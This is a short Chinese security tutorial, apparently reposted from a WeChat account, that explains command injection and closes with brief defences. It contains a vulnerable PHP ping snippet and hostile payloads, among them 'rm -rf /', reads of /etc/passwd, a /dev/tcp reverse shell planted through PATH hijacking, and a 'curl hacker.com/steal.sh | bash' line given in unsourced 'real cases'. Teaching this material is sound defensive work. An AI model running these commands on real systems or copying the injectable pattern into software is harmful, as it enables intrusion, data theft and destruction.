命令注入

admin 2025年2月15日08:44:05评论12 views字数 872阅读2分54秒阅读模式
命令注入
01
定义

命令注入(Command Injection) 是攻击者通过篡改用户输入参数,将恶意命令“拼接”到应用程序的系统调用中,从而直接控制服务器操作系统。

高危场景:

  • 网站调用ping、nslookup等网络工具。
  • 后台执行系统命令(如文件处理、数据备份)。

攻击流程:

  • 用户可控制输入参数。
  • 拼接系统命令。
  • 操作系统执行。
  • 服务器沦陷。

漏洞代码示例(PHP):

$ip = $_GET['ip'];

system("ping -c 4 " . $ip);

攻击者可输入 8.8.8.8; rm -rf /

02
符号武器库

基础分隔符

命令注入

开发者过滤了空格和常见分隔符时

  • 用${IFS}替代空格(Linux):8.8.8.8;cat${IFS}/etc/passwd。
  • 利用重定向符号<>(Windows):ping 1.1.1.1 & type<C:Windowswin.ini。
  • 十六进制编码绕过:echo "7265626f6f74" | xxd -r -p | bash

利用PATH环境变量劫持

  • export PATH=/tmp:$PATH
  • echo "/bin/bash -i >& /dev/tcp/1.1.1.1/4444 0>&1" > /tmp/ls
  • chmod +x /tmp/ls

当程序调用ls时,触发反弹Shell

03
防护措施
  • 禁用危险函数。
  • 使用API替代系统调用。
  • 输入校验:白名单校验、危险字符过滤、后端做长度限制。
  • 最小权限与沙箱。
04
真实案例

某云平台漏洞

  • 漏洞点:Kubernetes管理界面未过滤kubectl参数
  • 攻击Payload:

    cluster=prod; kubectl delete all --all

  • 后果:删除了生产环境所有容器,导致全球服务中断6小时

某电商平台漏洞

  • 漏洞点:订单导出功能调用系统zip命令
  • 攻击Payload:

    order_id=123;curl http://hacker.com/steal.sh | bash

  • 后果:攻击者窃取百万用户数据库,勒索企业支付比特币
05
思考题

如何通过命令注入漏洞横向移动到内网数据库服务器?

06
下期预告

《网安60秒丨反序列化漏洞》

原文始发于微信公众号(小白学安全):网安60秒丨命令注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日08:44:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   命令注入https://cn-sec.com/archives/3743994.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息